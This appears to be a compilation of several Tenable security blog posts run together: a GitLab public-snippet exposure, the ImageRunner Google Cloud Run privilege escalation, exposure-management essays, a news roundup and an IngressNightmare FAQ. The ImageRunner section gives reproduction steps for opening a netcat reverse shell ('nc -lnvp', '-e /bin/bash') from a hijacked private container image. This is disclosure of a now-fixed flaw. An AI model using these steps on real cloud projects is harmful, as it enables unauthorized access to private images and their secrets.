{"message":"401 Unauthorized"}

By trying to access the public snippets through either the https://GITLAB/explore/snippet or https://GITLAB/-/snippets URLs, the unauthenticated user will be redirected to the sign_in page. However, by using the GraphQL API, an unauthenticated user will be able to get the entire list of public snippets and browse its source code:

 

Requesting public snippets through the GraphQL API

Public snippets fetched through the GraphQL API

Depending on the content of the public code snippet shared by the GitLab users, this could potentially expose sensitive source code to unauthorized users.

Understand what “public” visibility means on GitLab

Note that unauthenticated users would be able to access GitLab APIs most of the time even in cases where single sign-on (SSO) authentication is enforced, which can help attackers gain access to the exposed data.

Using this method, we found many instances where unauthenticated users would be able to access publicly-available data from GitLab projects. We believe the reason for this is that many GitLab users probably assume incorrectly that the public visibility option restricts viewers to users within their organization. In fact, this option gives visibility to everyone in the world. 

In addition, the GitLab platform currently offers administrators a way to set the default visibility for code snippets and enforce access-control over them. However, this feature is not available to all users and depends on customers’ hosting mode and the license level.

This highlights the need for organizations to fully understand the permissions model of the third-party tools they use, and to proactively add controls when possible. To ensure proper implementation of any third-party tool or service, you should carefully review the product documentation to prevent security issues such as data exposure.

How Tenable Can Help

Our new plugins for GitLab help customers set up additional controls and monitor the potential misconfigurations discussed above: 

• GitLab Public Snippets Detected will check if any public snippet has been detected during the scan when a GitLab instance is detected.
• GitLab Public Projects Detected will report any public project available when a GitLab instance is detected.

Tenable Research discovered a privilege escalation vulnerability in Google Cloud Platform (GCP) that is now fixed and which we dubbed ImageRunner. At issue are identities that lack registry permissions but that have edit permissions on Google Cloud Run revisions. The vulnerability could have allowed such an identity to abuse its Google Cloud Run revision edit permissions in order to pull private Google Artifact Registry and Google Container Registry images in the same account.

What are Cloud Run, Container Registry and Artifact Registry?

Cloud Run, Container Registry, and Artifact Registry are key components of Google's Cloud ecosystem for deploying and managing containerized applications. Cloud Run is a fully managed service for running containerized applications in a scalable, serverless environment.

Container Registry, an older service, was deprecated in favor of Artifact Registry as of March 18, 2025. While both services are designed to store and manage container images, Artifact Registry is the next-generation solution with broader functionality and support for multiple artifact types beyond container images, such as Maven and npm packages. 

When Cloud Run is being used, it retrieves a container image stored in Artifact Registry and uses it to deploy your application. It manages the infrastructure, scaling and execution environment, allowing you to run your application in a serverless manner without having to worry about the underlying systems.

ImageRunner vulnerability details

When deploying a Cloud Run service, a new revision is created. A Cloud Run revision represents a specific version of a user’s deployed service in Google Cloud Run. Each time you deploy or update a service (such as changing the code or configuration), a new revision is created. 

When users deploy their Cloud Run revision, they can choose the image to deploy from a Container Registry, an Artifact Registry or Docker Hub by specifying the container image URL. Cloud Run needs IAM permissions to pull container images from the container or artifact registries, and it uses a service agent to do so. 

A service agent is a special type of service account created and managed by Google Cloud. It acts as the “worker” that handles essential operations, such as in Cloud Run -- pulling container images from registries like Google Container Registry or Artifact Registry to deploy the user’s application.

Abusing the deployment process

If an attacker gains certain permissions within a victim’s project – specifically run.services.update and iam.serviceAccounts.actAs permissions – they could modify a Cloud Run service and deploy a new revision. In doing so, they could specify any private container image within the same project for the service to pull. This is where it gets messy: Attackers could access sensitive or proprietary images stored in a victim’s registries, bypassing these two permissions required to pull private images from the registry: Storage Object Viewer or Artifact Registry Reader.

An attacker can do so by leveraging the ability to add instructions during the service update – more specifically, by adding malicious instructions.

These instructions can be injected as arguments or commands in the service configuration. When the updated container runs, the malicious code executes, potentially compromising the container image. For example, the attacker could use their code to inspect the contents of the private image, extract secrets stored within it, or even exfiltrate sensitive data.

The following is an example of an ncat image pull. Netcat (often abbreviated as ncat) is a powerful command-line networking tool used for creating TCP/UDP connections, transferring data, port scanning, and acting as a basic server or client for debugging. To illustrate an attacker using malicious instructions to take over an image, we used this image as a convenient example of a “private image” that is present in the victim’s Container Registry. In the following example, the attacker can add malicious instructions in the form of a reverse connection to their machine, to take over the image and inspect its contents, secrets, and more:


 

Nonetheless, any private image can be attacked by injecting malicious instructions and tailoring a payload to the benefit of the attacker.

This vulnerability arises because the service agent responsible for pulling the images executes these tasks. The service agent associated with Cloud Functions (identified by an account like service-PROJECT_NUMBER@gcf-admin-robot.iam.gserviceaccount.com) will dutifully pull the image specified in the updated service configuration. The Cloud Function’s service agent holds the required storage and Artifact Registry permissions. While this behavior is necessary for Cloud Run to function, it can be abused if permissions are not tightly controlled.

Due to security reasons, we did not test and confirm it, but since the service agent of Cloud Functions is internal, we assume it might have permissions to internal Google images as well.

An important note to clarify: As you would expect, the only permissions a user needs to be able to deploy a Cloud Run revision are run.services.update and iam.serviceAccounts.actAs, but the private image-pulling that GCP needs for the Cloud Run orchestration process should require additional privileges.

Full attack reproduction

For the sake of the example, an attacker would attack a “ncat” image and inject malicious instructions to it:

1. As an example, run the following commands to pull an ncat image, and push it to your Google Cloud Registry which will act as the victim’s repository. The ncat image will act as the victim's private image:

docker pull raesene/ncat gcloud auth login gcloud auth configure-docker docker tag raesene/ncat gcr.io/{project-name}/ncat:latest docker push gcr.io/{project-name}/ncat:latest

1. Control an identity with the following permissions: run.services.update and iam.serviceAccounts.actAs permissions
2. Update a running Cloud Run service, and edit a new revision
3. Specify any private container you want to hijack in the same project - for the proof-of-concept we used gcr.io/{project-name}/ncat:latest
4. Use “nc -lnvp {port}” to listen on the attacker’s machine you want to get the reverse shell to 
5. Specify the following in the container arguments fields: {Your nc listener ip address}, {the port you listen on}, -e, /bin/bash
6. You should be running on the container that was deployed with the private image that you shouldn’t be able to access

The vulnerability fix and extra steps taken by Google to enhance overall GCP security

In response to this discovery, GCP now makes sure that the principal (user or service account) creating or updating a Cloud Run resource needs explicit permission to access the container image(s). When using Artifact Registry, you should ensure the principal has the Artifact Registry Reader (roles/artifactregistry.reader) IAM role on the project or repository containing the container image(s) to deploy.

The breaking change was 100% rolled out to production on January 28, 2025. Google sent a Mandatory Service Announcement to affected Project, Folder, and Organization owners during the last week of November 2024, while the Release Notes warned users of the breaking change.

After this fix, Cloud Run checks to confirm that the deployer has read access to the image.

ImageRunner as an example of the Jenga® concept

ImageRunner is an example of a concept we at Tenable Research call “Jenga®”, just like the game. As part of Tenable Research efforts to discover vulnerability patterns in the cloud, we unveiled this new concept at the recent BlackHat USA 2024 conference. The “Jenga®” concept is present in the major cloud providers. Here’s the gist: Cloud providers build their services on top of their other existing services. Sometimes they create “hidden services.” If one service gets attacked or is compromised, the other ones built on top of it inherit the risk and become vulnerable as well. This scenario opens the door for attackers to discover novel privilege escalation opportunities and even vulnerabilities, and introduces new hidden risks for defenders.

For more information about the Jenga® concept and a new tool called Jenganizer that we released to mitigate its risk, read our blogs on the Google CloudImposer vulnerability and Google ConfusedFunction vulnerability. These blogs also discuss the issue of hidden cloud services. Stay tuned for our BlackHat talk recording about CloudImposer. 

Learn more about how Tenable can help you improve your GCP security.

(Jenga® is a registered trademark owned by Pokonobe Associates.)

Each Monday, the Tenable Exposure Management Academy provides the practical, real-world guidance you need to shift from vulnerability management to exposure management. In this blog, we share three challenges cybersecurity leaders say exposure management helps them solve. You can read the entire Exposure Management Academy series here.  

Traditional vulnerability management is undergoing a transformation. The core cybersecurity discipline is evolving into exposure management, which is built on a broader, more strategic approach to identifying, prioritizing and mitigating risk. 

Modern IT environments have long been evolving beyond the on-premises data center to include cloud infrastructure, mobile devices, internet-of-things (IoT) systems and operational technology (OT). 

To get a close look at this shift, the Tenable Exposure Management Academy regularly interviews cybersecurity leaders around the world. Our goal is to gain insights into their real-world experiences making the shift from traditional vulnerability management to exposure management. We conduct these discussions on the condition of anonymity. This blog reveals the three key challenges they're solving with cyber exposure management.

The three challenges exposure management addresses

The leaders we spoke with want to do more than just track vulnerabilities. They want to understand and reduce real-world cyber risk across their expanding attack surfaces. Exposure management empowers them to tackle these three challenges:

1. Lack of attack surface visibility

For effective risk management, the leaders we spoke with are seeking a complete, unified view of all assets and their associated threat exposures across diverse environments. Visibility is essential because security teams can’t protect what they can’t see. In our discussion, a security leader working at a distributor noted that many organizations struggle with asset ownership and accountability in expansive environments. 

"Sometimes, if you have a vulnerability happening, you just need to know who owns it,” the leader pointed out. “But no matter who owns it, we need to track it. We didn’t have a lot of visibility on that and we needed to know in order to effectively manage vulnerabilities.”

Security exposure management provides visibility beyond traditional siloed IT assets, including:

• Cloud environments (including public, private, multi-cloud and hybrid) 
• Mobile and remote endpoints 
• Containers and microservices 
• OT and industrial control systems 
• Third-party and supply-chain integrations

The key: With the right exposure management strategy, you can consolidate and standardize security data from multiple tools and environments, ensuring every detail is correct (including asset ownership), while reducing blind spots and improving response times.

2. Difficulty prioritizing remediation 

An important point to remember: Not all vulnerabilities pose the same level of risk. But determining how much risk any vulnerability presents requires context specific to your environment. You need to understand who or what has access to that asset, their privileges and how critical the asset is to business functions. Traditional vulnerability management can’t help you connect these dots for effective risk prioritization. 

When your security teams are overwhelmed by thousands of potential issues, they can’t effectively guide their IT counterparts tasked with remediation.

Exposure management in cybersecurity provides the additional context needed to practice risk-based vulnerability management, focusing remediation on the vulnerabilities with greatest potential impact in your unique environment.

Exposure management helps you understand whether bad actors are actively using a vulnerability in attacks (we call this “exploitability”), how important the affected system is to your organization (we call this “asset criticality rating”) and how an attacker could exploit a vulnerability in real-world scenarios (also known as “potential attack pathways”).

As a security leader for an industrial real estate firm explained, the challenge is not just fixing vulnerabilities but also measuring security progress in a meaningful way. 

"We're trying to move to a risk-type of reporting instead of ‘You fixed a thousand exposures,’” this security leader told us. “Say you have 10,000 exposures and the team knocks out 2,000 in a month. But Microsoft releases 3,000 more. Now you have 11,000. What did you actually accomplish? We have to shift to a risk approach."

The key: Risk-based exposure management ensures security teams focus on what matters most, rather than being buried under an ever-growing vulnerability backlog.

3. Staying stuck in reactive mode

Exposure management introduces a new way of thinking about cybersecurity. Instead of staying in reactive mode, responding to each new incident as it arises, continuous exposure management enables your teams to practice proactive security. You can anticipate potential attack scenarios and implement security controls to mitigate threats before attackers exploit them.

What does proactive cybersecurity look like? Here are three requirements:

• Attack path analysis to identify potential ways attackers could move laterally through your network
• Automated threat modeling to simulate potential breach scenarios
• Pre-emptive security controls such as segmentation, access restrictions and zero-trust architectures

One leader emphasized an important point: Cyber risk requires a shift in mindset and organizational culture.

"We’re quite reactive,” the security leader said. “And because we’ve been very manual, we needed a tool to help us get to the next stage. That means more automation to ease our workload so we can focus on more value-added work — like educating stakeholders to prevent repeat mistakes."

The key: By embedding best practices for cyber exposure management into daily operations, you can minimize risk before attackers can take advantage of vulnerabilities.

Takeaways

Making the shift and practicing exposure management vs vulnerability management reflects a broader evolution in cybersecurity that aims to move from reactive security posture management to proactive risk management. 

Leaders are tackling the three key challenges — lack of attack surface visibility, difficulty prioritizing remediation and staying stuck in reactive mode — by embracing exposure management to build a more resilient security posture that aligns with business priorities. 

Check out NIST’s comprehensive taxonomy of cyberattacks against AI systems, along with mitigation recommendations. Plus, organizations have another cryptographic algorithm for protecting data against future quantum attacks. And get the latest on the IngressNightmare vulnerabilities, and on cyber risks impacting commercial satellites and domain registrars.

Dive into five things that are top of mind for the week ending March 28.

1 - NIST categorizes attacks against AI systems, offers mitigations

Organizations deploying artificial intelligence (AI) systems must be prepared to defend them against cyberattacks — not a simple task.

Recognizing this challenge, the U.S. government this week published a report to help organizations identify, address and manage cyber risks faced by AI systems.

Titled “Adversarial Machine Learning: A Taxonomy and Terminology of Attacks and Mitigations (NIST AI 100-2)” and published by the U.S. National Institute of Standards and Technology, the 127-page report also offers:

• A taxonomy of adversarial machine-learning (AML) attacks, such as evasion, poisoning, and privacy attacks against both predictive AI systems and generative AI systems; and of AML attacks targeting learning methods
• Potential mitigations against AML attacks, as well as the limitations of these mitigations
• Standardized AML terminology, along with an index and a glossary

“Despite the significant progress of AI and machine learning in different application domains, these technologies remain vulnerable to attacks,” reads a NIST statement. “The consequences of attacks become more dire when systems depend on high-stakes domains and are subjected to adversarial attacks.”

For example, to mitigate supply chain attacks against generative AI systems, NIST recommendations include:

• Verify that data downloaded from the web for training AI models hasn’t been tampered with: Do a basic integrity check in which the data provider publishes cryptographic hashes and the downloader verifies the training data.
• Perform data filtering to try to remove poisoned data samples.
• Do vulnerability scans of model artifacts.
• Use mechanistic interpretability methods to identify backdoor features.
• Design generative AI applications in such a way as to reduce the impact of model attacks.

Taxonomy of Attacks on GenAI Systems

(Source: “Adversarial Machine Learning: A Taxonomy and Terminology of Attacks and Mitigations” report from NIST, March 2025)

The report is primarily aimed at those in charge of designing, developing, deploying, evaluating and governing AI systems.

For more information about protecting AI systems against cyberattacks:

• “Understanding the risks - and benefits - of using AI tools” (U.K. NCSC)
• “Hacking Poses Risks for Artificial Intelligence” (Georgetown University)
• “Attacking Artificial Intelligence: AI’s Security Vulnerability and What Policymakers Can Do About It” (Harvard University)
• “How Safe and Secure Is GenAI Really?” (InformationWeek)
• “Hacking AI? Here are 4 common attacks on AI” (ZDNet)
• “Adversarial attacks on AI models are rising: what should you do now?” (VentureBeat)

2 - ETSI releases new post-quantum cryptographic standard

And the world has yet another cryptographic algorithm standard designed to protect data against future attacks powered by mighty quantum computers.

Called Covercrypt, the quantum-resistant standard specification secures data not only against forthcoming quantum attacks, but also against current pre-quantum attacks, the European Telecommunications Standards Institute (ETSI) announced this week.

Specifically, Covercrypt defines a scheme for key encapsulation mechanisms with access control (KEMAC) in which session keys are locked based on users’ attributes. 

“For instance, while an IT department can define who enters applications, the ETSI KEMAC standard helps to determine who can decrypt the data inside those applications through a specific access policy,” reads an ETSI statement.
 

To get more details, check out ETSI’s Covercrypt technical specification.

Earlier this month, NIST picked its fifth algorithm for post-quantum encryption, which it expects will be widely available for use in 2027. NIST released three quantum-resistant algorithm standards last year and expects to release a fourth one in 2026.

Here’s the issue: Quantum computers, which are expected to become widely available at some point between 2030 and 2040, will be able to decrypt data protected with today’s public-key cryptographic algorithms. 

Consequently, organizations need to start migrating to post-quantum cryptography, a process that requires careful planning and deployment.

To help organizations plan their migration to quantum-resistant cryptography, this month NIST published a draft white paper titled “Considerations for Achieving Crypto Agility,” while the U.K. National Cyber Security Centre (NCSC) released “Timelines for migration to post-quantum (PQC) cryptography.” 

For more information about how to protect your organization against the quantum computing cyberthreat:

• “How to prepare for a secure post-quantum future” (TechTarget)
• “Moody’s sounds alarm on quantum computing risk, as transition to PQC ‘will be long and costly’” (Industrial Cyber)
• “Companies Prepare to Fight Quantum Hackers” (The Wall Street Journal)
• “US unveils new tools to withstand encryption-breaking quantum. Here's what experts are saying” (World Economic Forum)
• “Quantum is coming — and bringing new cybersecurity threats with it” (KPMG)
• “Quantum and the Threat to Encryption” (SecurityWeek)

3 - U.K.’s NCSC urges domain registrars to shore up security

Lax security practices among domain registrars and domain-name system (DNS) operators help cyber fraudsters carry out online scams, including phishing campaigns.

For that reason, it’s critical that domain sellers and owners tighten their security practices, the U.K. National Cyber Security Centre (NCSC) warned this week.

“To enable phishing in the first place, malicious actors rely on obtaining misleading and fraudulent domains, or taking over legitimate domain names at scale,” reads the new NCSC guidance “Good security practice for domain registrars.”
 

The guidance is aimed at registrars that sell domains at scale, as well as at organizations that buy and park domains as investments or as part of brand-protection efforts.

The NCSC’s security recommendations include:

• Verify the customer’s information, such as IP address, email address, phone number and payment information; and check it against available threat intelligence.
• Use a system that automatically flags misleading domain-name registrations that aim to deceptively align themselves with well-known brands.
• Make it difficult for attackers to tamper with and hijack domains by adopting security controls like multi-factor authentication and automated domain-change notifications.

For more information about DNS security:

• “How To Reduce DNS Infrastructure Risk To Secure Your Cloud Attack Surface” (Tenable)
• “What is DNS Cache Poisoning?” (TechTarget)
• “10 Dangerous DNS Attacks Types & Prevention Measures” (Cybersecurity News)
• “Attackers target the Domain Name System, the internet’s phone book. Here’s how to fight back” (SiliconAngle)
• “The 5 big DNS attacks and how to mitigate them” (Network World)

4 - ENISA: Commercial satellites need better cyber protections

Makers of commercial satellites face critical cyberthreats from a variety of attackers, including hacktivists, nation-state actors and cybercriminals, so they need to boost their cyber defenses.

That’s according to the European Union Agency for Cybersecurity (ENISA), which this week published “Space Threat Landscape,” a report that recommends cybersecurity controls and cyberattack mitigations to space-sector organizations.

“The commercial exploitation of space has become the backbone of key economic activities. Digital threats in space are therefore highly critical. … This is why commercial satellites must be cyber secured at all cost,” Juhan Lepassaar, ENISA’s Executive Director, said in a statement.

Services provided by commercial satellites include telecommunications, financial transactions, television broadcasts, GPS navigation, weather monitoring and more, which is why breaches impacting them in recent years have been highly disruptive.



Cybersecurity challenges faced by commercial satellite makers include:

• Risk to their supply chains, which are global and highly complex
• Widespread use of commercial off-the-shelf components
• Prevalence of legacy systems and limited IT asset visibility, both aggravated by the remote location of space systems
• Weak configurations, particularly due to insufficient use of cyrptography
• Human error, magnified by the need for significant human interaction with space systems
• Threat of sophisticated cyberattacks

ENISA’s mitigation recommendations include:

• Bake security into the design of systems and networks.
• Regularly patch software vulnerabilities, prioritizing the ones that pose the greater risk to your organization.
• Share information about vulnerabilities, threats and attack tactics, techniques and procedures with your industry peers.
• Secure your supply chain by carefully and methodically vetting vendors and partners; and by continuously monitoring their security processes. Be aware of fraudulent equipment circulating in the global supply chain.
• Rigorously test the security of commercial off-the-shelf products and components.
• Adopt “effective, validated and tested” encryption methods to protect your systems and data.

For more information about the cybersecurity of commercial satellites:

• “We Need Cybersecurity in Space to Protect Satellites” (Scientific American)
• “Orbital observations: Enhancing space resilience with real-time cybersecurity” (Deloitte)
• “The Growing Risk of a Major Satellite Cyber Attack” (Via Satellite)
• “Recommendations to Space System Operators for Improving Cybersecurity” (CISA)
• “A Cybersecurity Framework for Mitigating Risks to Satellite Systems” (Dark Reading)

5 - New vulns disclosed, patched for Ingress NGINX Controller for Kubernetes

Does your organization use the Ingress NGINX Controller for Kubernetes? 

If so, your IT and cybersecurity departments are hopefully aware of five vulnerabilities disclosed this week affecting this popular open-source controller used for managing Kubernetes clusters’ network traffic. One vulnerability has a “critical” severity rating, while three are rated “high.”
 

The Kubernetes open source project fixed all of the vulnerabilities — collectively known as IngressNightmare — with the release of two new versions of the product: Ingress NGINX Controller 1.12.1, which fixes version 1.12.0; and Ingress NGINX Controller 1.11.5, which fixes older versions, starting with 1.11.4.

To get all the details, check out Tenable Research’s blog “CVE-2025-1097, CVE-2025-1098, CVE-2025-1974, CVE-2025-24513, CVE-2025-24514: Frequently Asked Questions About IngressNightmare.”

The Tenable Cloud AI Risk Report 2025 reveals that 70% of AI cloud workloads have at least one unremediated critical vulnerability — and that AI developer services are plagued by risky permissions defaults. Find out what to know as your organization ramps up its AI game.

With AI bursting out all over these are exhilarating times. The use by developers of self-managed AI tools and cloud-provider AI services is on the rise as engineering teams rush to the AI front. This uptick and the fact that AI models are data-thirsty — requiring huge amounts of data to improve accuracy and performance — means increasingly more AI resources and data are in cloud environments. The million dollar question in the cybersecurity wheelhouse is: What is AI growth doing to my cloud attack surface?

The Tenable Cloud AI Risk Report 2025 by Tenable Cloud Research revealed that AI tools and services are indeed introducing new risks. How can you prevent such risks?

Let’s look at some of the findings and related challenges, and at proactive AI risk reduction measures within easy reach.

Why we conducted this research

Using data collected over a two-year period, the Tenable Cloud Research team analyzed in-production workloads and assets across cloud and enterprise environments — including Amazon Web Services (AWS), Microsoft Azure and Google Cloud Platform (GCP). We sought to understand adoption levels of AI development tooling and frameworks, and AI services, and carry out a reality check on any emerging security risks. The aim? To help organizations be more aware of AI security pitfalls. In parallel, our research helps fuel Tenable’s constantly evolving cloud-native application protection platform (CNAPP) to best help our customers address these new risks.

Key concerns

Let’s explore two of the findings — one in self-managed AI tooling, the other in AI services.

• 70% of the cloud workloads with AI software installed contained at least one unremediated critical CVE. One of the CVEs observed was a critical curl vulnerability, which remained unremediated more than a year after the CVE was published.. Any critical CVE puts a workload at risk as a primary target for bad actors; a CVE in an AI workload is even more cause for concern due to the potential sensitivity of the data within and impact should it be exploited.

A large majority of cloud workloads with AI software installed have at least one unremediated critical vulnerability. Source: Tenable Cloud AI Risk Report 2025

• Like any cloud service, AI services contain risky defaults in cloud provider building blocks that users are often unaware of. We previously reported on the Jenga® concept — a pattern in which cloud providers build one service on top of the other, with risky defaults inherited from one layer to the next. So, too, in AI services. Specifically, 77% of organizations that had set up Vertex AI Workbench in Google Cloud had at least one notebook with the attached service account configured as the overly-privileged Compute Engine service account — creating serious permissions risk.

Cloud providers are layering AI services on top of each other, like in a Jenga® game, with these building blocks containing risky defaults that are hard to spot and fix. Source: Tenable Cloud AI Risk Report 2025 Key challengesWhy critical CVEs in AI tools are a concern and challenge

An unremediated critical CVE in any cloud workload is of course a security risk that should be addressed in accordance with an organization’s patch and risk management policy, with prioritization that takes into account impact and asset sensitivity. So high an incidence of critical vulnerabilities in AI cloud workloads is an alarm bell. AI workloads potentially contain sensitive data. Even training and testing data can contain real information, such as personal information (PI), personally identifiable information (PII) or customer data, related to the nature of the AI project. Exploited, exposed AI compute or training data can result in data poisoning, model manipulation and data leakage. Teams must overcome the challenges of alert noise and risk prioritization to make mitigating critical CVEs, especially in AI workloads, a strategic mission.

Why risky access defaults in AI services are a concern and challenge

Securing identities and entitlements is a challenge in any cloud environment. Overprivileged permissions are even riskier when embedded in AI services building blocks as they often involve sensitive data. You must be able to see risk to fix it. Lack of visibility in cloud and multicloud environments, siloed tools that prevent seeing risks in context and reliance on cloud provider security all make it difficult for organizations to spot and mitigate risky defaults, and other access risks that attackers are looking for.

Key actions for preventing such AI risks

The Artificial Intelligence Index Report 2024, published by Stanford University, noted that organizations’ top AI-related concerns include privacy, data security and reliability; yet most have so far mitigated only a small portion of the risks. Good security best practices can go a long way to getting ahead of AI risk.

Here are three basic actions for reducing the cloud AI risks we discussed here:

1. Prioritize the most impactful vulnerabilities for remediation. Part of the root cause behind slow-to-no CVE remediation is human nature. CVEs are a headache — noisy, persistent and some solutions overwhelm with notifications. Cloud security teams own the risk but rely on the cooperation of other teams to mitigate exposures. Understand which CVEs have the greatest potential impact so you can guide teams to tackle the high-risk vulnerabilities first. Advanced tools help by factoring in exploitation likelihood in risk scoring.
2. Reduce excessive permissions to curb risky access. It is your shared responsibility to protect your organization from risky access — don’t assume the permissions settings in AI services are risk-free. Continuously monitor to identify and eliminate excessive permissions across identities, resources and data, including to cloud-based AI models/data stores, to prevent unauthorized or overprivileged access. Tightly manage cloud infrastructure entitlements by implementing least privilege and Just in Time access. Review risk in context to spot cloud misconfigurations, including toxic combinations involving identities.
3. Classify as sensitive all AI components linked to high-business-impact assets (e.g., sensitive data, privileged identities). Include AI tools and data in security inventories and assess their risk regularly. Use data security posture management capabilities to granularly assign the appropriate sensitivity level.

Cloud security should incorporate cloud vulnerability intelligence that makes CVEs easier to prioritize. Source: Tenable Cloud Security Vulnerability Intelligence demo, March 2025

Ensuring strong AI security for cloud environments requires identity intelligent, AI-aware cloud-native application protection to manage the emerging risks with efficiency and accuracy.

Summary

Cloud-based AI has its security pitfalls, with hidden misconfigurations and sensitive data that make AI workloads vulnerable to misuse and exploitation. Applying the right security solutions and best practices early on will empower you to enable AI adoption and growth for your organization while minimizing its risk.

JENGA® is a registered trademark owned by Pokonobe Associates.

Learn more

• Download the Cloud AI Risk Report 2025
• View the webinar 2025 Cloud AI Risk Report: Helping You Build More Secure AI Models in the Cloud
• See what Tenable Cloud Security can do for you

Frequently asked questions about five vulnerabilities in the Ingress NGINX Controller for Kubernetes, collectively known as IngressNightmare.

Update April 2: The blog has been updated to include the availability of a direct (remote) check plugin for CVE-2025-1974.

View Change Log

Background

The Tenable Security Response Team (SRT) has compiled this blog to answer Frequently Asked Questions (FAQ) regarding IngressNightmare.

FAQ

What is IngressNightmare?

IngressNightmare is the name given to a series of vulnerabilities in the Ingress NGINX Controller for Kubernetes, an open source controller used for managing network traffic in Kubernetes clusters using NGINX as a reverse proxy and load balancer.

What are the vulnerabilities associated with IngressNightmare?

The following CVEs are associated with IngressNightmare:

CVEDescriptionCVSSv3CVE-2025-1097Ingress NGINX Controller Configuration Injection via Unsanitized auth-tls-match-cn annotation8.8CVE-2025-1098Ingress NGINX Controller Configuration Injection via Unsanitized Mirror Annotations8.8CVE-2025-1974Ingress NGINX Admission Controller Remote Code Execution9.8CVE-2025-24513Ingress NGINX Controller Auth Secret File Path Traversal Vulnerability4.8CVE-2025-24514Ingress NGINX Controller Via Unsanitized Auth-URL Annotation8.8

When was IngressNightmare first disclosed?

Public disclosure of IngressNightmare happened on March 24 when news outlets, such as The Hacker News, began reporting on these vulnerabilities. At the time those articles were published, no patches were yet available from the Kubernetes team nor had a blog been published by the researchers who discovered these flaws.

How critical are the IngressNightmare vulnerabilities?

Based on the CVSS scores for these vulnerabilities, three are categorized as high severity, one is categorized as medium severity and one is categorized as critical severity.

The most severe flaw, CVE-2025-1974, requires an unauthenticated remote attacker to be able to access the admission controller, a component in the Ingress NGINX Controller that has more privileged access within a Kubernetes cluster.

Are the IngressNightmare vulnerabilities part of a toxic combination?

Yes, the five vulnerabilities that make up IngressNightmare can be chained together as part of a toxic combination (or exploit chain). Successful exploitation of these flaws would grant an attacker the ability to access cluster secrets, which could result in a cluster takeover.

Was this exploited as a zero-day?

No, these vulnerabilities were reported to Kubernetes through coordinated disclosure.

Is there a proof-of-concept (PoC) available for these vulnerabilities?

Yes, there are now multiple proof-of-concept (PoC) exploits [1, 2] published on GitHub that can exploit the IngressNightmare vulnerabilities to gain remote code execution.

Are patches or mitigations available for IngressNightmare?

Yes, on the evening of March 24, the Kubernetes team published two fixed versions of Ingress NGINX Controller:

Affected productAffected versionsFixed versionIngress NGINX Controller1.12.01.12.1Ingress NGINX Controller1.11.4 and below1.11.5

Additionally, customers can use the following command to determine if clusters are using ingress-nginx:

kubectl get pods --all-namespaces --selector app.kubernetes.io/name=ingress-nginx

For more specific information about mitigation steps, please refer to the Kubernetes blog.

Does this also affect the NGINX Ingress Controller?

No, while the names may sound similar, IngressNightmare does not affect the NGINX Ingress Controller from F5.

Has Tenable released any product coverage for these vulnerabilities?

A list of Tenable plugins for these vulnerabilities will be available on the individual CVE pages as they’re released:

• CVE-2025-1097
• CVE-2025-1098
• CVE-2025-1974
• CVE-2025-24513
• CVE-2025-24514

Our Plugins Pipeline displays all available plugins for these vulnerabilities, including upcoming plugins, as they are added.

A direct (remote) check plugin, Kubernetes Ingress NGINX Controller Arbitrary Code Execution (CVE-2025-1974), is available.

Customers can also use our Kubernetes Ingress NGINX Controller Installed (Linux) plugin to identify assets with Ingress NGINX Controller installed.

Tenable Cloud Security can now scan for the IngressNightmare vulnerabilities across your cloud workloads and docker images detected in your cloud environments:

Additional coverage is being investigated by Tenable Research and this blog post will be updated accordingly.

Get more information

• Ingress-nginx CVE-2025-1974: What You Need to Know
• IngressNightmare: Vulnerabilities in Ingress NGINX

Change Log

Update April 2: The blog has been updated to include the availability of a direct (remote) check plugin for CVE-2025-1974.

Update March 27: The blog has been updated to include the availability of public proof-of-concept exploits for IngressNightmare as well as the latest Tenable product coverage, including Tenable Cloud Security coverage.

Join Tenable's Security Response Team on the Tenable Community.
Learn more about Tenable One, the Exposure Management Platform for the modern attack surface.

Each Monday, the Tenable Exposure Management Academy provides the practical, real-world guidance you need to make the shift from vulnerability management to exposure management. In this blog, Tenable Senior Staff Information Security Engineer Arnie Cabral, who is leading the company's internal exposure management journey, shares his experiences. You can read the entire Exposure Management Academy series here.  

In my role as an information security engineer at Tenable, I am directly involved in transitioning our own security infrastructure from traditional vulnerability management to a more proactive exposure management approach. The first steps required strategic planning, policy realignment and resource allocation.

The need to move beyond simply identifying vulnerabilities drove Tenable’s transition. We needed to focus on managing real-world exposures that pose significant risk to our security posture.

The starting point: Recognizing the need for change

They say a journey of a thousand miles begins with a single step. At Tenable, our shift to exposure management in our internal infrastructure began with a simple realization. We knew that, although it is critical to modern cybersecurity, vulnerability management alone doesn’t provide a complete picture of cyber risk. 

Traditional vulnerability management typically involves scanning assets for known vulnerabilities and remediating them based on severity scores. However, true security risk management requires a broader view that includes misconfigurations, attack surface visibility and real-time threat intelligence.

To start our move to cyber exposure management, we reframed our existing policies to align with the new approach. This was not just a simple editing exercise, although there was some carry-over from the current policies. 

Instead, we redefined our objectives and transformed our policies to ensure alignment with emerging risk-based exposure management frameworks.

Establishing a policy framework

With our new exposure management policy in place, we created a foundation to ensure our security teams have clear guidelines on how to assess, prioritize and remediate exposures beyond just addressing common vulnerabilities and exposures (CVEs).

As we completed the policy, we understood the new approach would need to incorporate:

• A broader vulnerability assessment of risk, beyond the Common Vulnerability Scoring System (CVSS) scores
• Vulnerability prioritization frameworks that account for asset criticality, attack paths and real-world exploitability
• The integration of multiple security tools to gain comprehensive visibility for more actionable attack surface management
• Alignment with a broader set of stakeholders to match the expanded scope of assets and detections

Building a project plan

Alongside the policy we developed, our team drafted a project plan to operationalize security exposure management. This plan included:

• Identifying gaps between the existing risk-based vulnerability management program and the desired state of the exposure management program
• Mapping inputs (i.e., the sources of vulnerability and exposure data) and outputs (i.e., the teams responsible for remediation)
• Defining key milestones and deliverables
• Assigning responsibilities and estimating resource needs

Smaller organizations could manage this process with common tools like spreadsheets. But larger enterprises, like ours, usually turn to platforms like Jira and Confluence to help the process. Of course, no plan would be complete without Gantt charts that provide a visual understanding of the project structure and timeline. 

My advice is to use tools that help you reach your goals without adding unnecessary process overhead. For example, a platform that integrates data from multiple siloed security tools from multiple vendors gives you a continuous and complete view of your environment and an accurate risk profile. 

Addressing operational challenges

One of the key challenges in this transition was the complexity of security operations. Traditional vulnerability management mostly relies on vulnerability scanning assets with Nessus scanners and agents, but the move to exposure management required incorporating other elements, including:

• Cloud environments and ephemeral assets
• Configuration management across various asset types (i.e., SaaS, PaaS, IaaS and hardware) as well as identity exposure risks
• Application security and software development lifecycle (SDLC) vulnerabilities

Third-party security risks

Our teams had to ensure remediation workflows could handle this broader scope while maintaining efficiency. This led to discussions about automation and orchestration — essentially, we wanted to understand how we could centralize the triage and response process without overloading security teams.

How to implement an exposure management program

